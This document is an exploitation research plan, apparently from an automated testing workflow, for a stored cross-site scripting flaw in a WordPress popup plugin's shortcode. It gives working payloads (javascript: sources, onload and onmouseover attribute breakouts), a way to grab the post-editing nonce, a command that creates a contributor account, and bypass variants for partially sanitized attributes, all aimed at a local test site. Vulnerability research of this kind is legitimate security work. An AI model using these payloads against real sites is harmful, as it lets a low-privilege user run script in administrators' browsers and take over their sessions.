Exploitation Research Plan: CVE-2025-12122 (Popup Box Stored XSS)

1. Vulnerability Summary

The Popup Box – Easily Create WordPress Popups plugin (<= 3.2.12) is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting (XSS). The vulnerability exists in the handling of the [iframeBox] shortcode. Specifically, the plugin fails to properly sanitize or escape user-supplied attributes before outputting them within an <iframe> tag in the rendered HTML. This allows a user with Contributor-level permissions or higher to inject malicious JavaScript into a post or page.

2. Attack Vector Analysis

• Endpoint: WordPress Post Editor (Classic or Gutenberg).
• Vulnerable Component: [iframeBox] shortcode.
• Payload Carrier: Shortcode attributes (e.g., src, width, height, or arbitrary attributes if not strictly whitelisted).
• Authentication: Required (Contributor-level or higher).
• Preconditions: The attacker must be able to edit a post or page where shortcodes are processed.

3. Code Flow (Inferred)

1. Registration: The plugin registers the shortcode, likely using add_shortcode( 'iframeBox', [ $this, 'render_iframe_box' ] ); during the init hook.
2. Processing: When a post containing [iframeBox ...] is viewed, WordPress calls the registered callback.
3. Attribute Handling: The callback receives an $atts array. It likely merges these with defaults using shortcode_atts().
4. Vulnerable Sink: The code constructs an HTML <iframe> string. If attributes like src are concatenated directly or via a loop without using esc_url() or esc_attr(), the injection occurs.
   • Example Vulnerable Pattern: return '<iframe src="' . $atts['src'] . '"></iframe>';
   • Example XSS via src: [iframeBox src="javascript:alert(1)"]
   • Example XSS via Attribute Breakout: [iframeBox src="https://example.com" onload="alert(document.domain)"]

4. Nonce Acquisition Strategy

Shortcodes are processed server-side during page rendering and do not typically require a nonce for execution. However, creating/saving a post as a Contributor does require a nonce.

To obtain the post-editing nonce:

1. Log in as a Contributor.
2. Navigate to wp-admin/post-new.php.
3. The nonce required to save a draft is typically found in the _wpnonce field or the heartbeat settings.
4. Since we are using the http_request tool (Playwright), we can navigate to the "New Post" page and use browser_eval to find the necessary form data if manual POSTing is required.

Javascript to find the post nonce:

// In the post-new.php context
document.querySelector('#_wpnonce')?.value

5. Exploitation Strategy

Step 1: Authentication

Authenticate as a user with the Contributor role.

Step 2: Create a Malicious Post

Use the http_request tool to create a new post containing the malicious shortcode.

• URL: http://localhost:8080/wp-admin/post.php (or post-new.php via POST)
• Method: POST
• Payload (Stored XSS):

  [iframeBox src="javascript:alert('XSS_SUCCESS_IFRAME')"]
  

  Alternative Payload (Attribute Breakout):

  [iframeBox src="https://example.com" style="width:100%" onload="alert('XSS_SUCCESS_ONLOAD')"]
  

Step 3: Trigger the XSS

The Contributor cannot publish the post, but they can Preview it. The XSS will execute in the preview context, which is sufficient for targeting an Administrator who reviews the draft.

• URL: http://localhost:8080/?p=[POST_ID]&preview=true
• Method: GET

6. Test Data Setup

1. User: Create a user with the contributor role.
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password
2. Plugin: Ensure popup-box version <= 3.2.12 is installed and active.

7. Expected Results

1. When the preview page is loaded, the HTML source should contain an <iframe> tag with the unescaped payload.
2. If using src="javascript:...", clicking inside the iframe (or it auto-loading if supported) triggers the alert.
3. If using onload="...", the browser should execute the JavaScript immediately upon rendering the iframe.

8. Verification Steps

1. HTTP Check: Verify the response body of the preview page contains the literal payload string.

   # Post-exploit check (using http_request on the preview URL)
   # Search for: <iframe ... src="javascript:alert('XSS_SUCCESS_IFRAME')"
   

2. Database Check: Verify the shortcode is stored in the database.

   wp db query "SELECT post_content FROM wp_posts WHERE post_content LIKE '%iframeBox%' ORDER BY ID DESC LIMIT 1"
   

9. Alternative Approaches

If src is partially sanitized (e.g., using esc_url which might catch javascript:), try injecting other attributes that are often used in these plugins:

• width="100%\" onload=\"alert(1)\""
• height="500\" onmouseover=\"alert(1)\" style=\"display:block;width:100%;height:100%;\""
• frameborder="0\" data-xss=\"${alert(1)}\""

If the plugin uses a specific AJAX action to preview popups in the admin dashboard, target that endpoint directly with the payload to achieve Admin-side XSS. Look for AJAX actions registered in the plugin code like wp_ajax_popup_box_preview.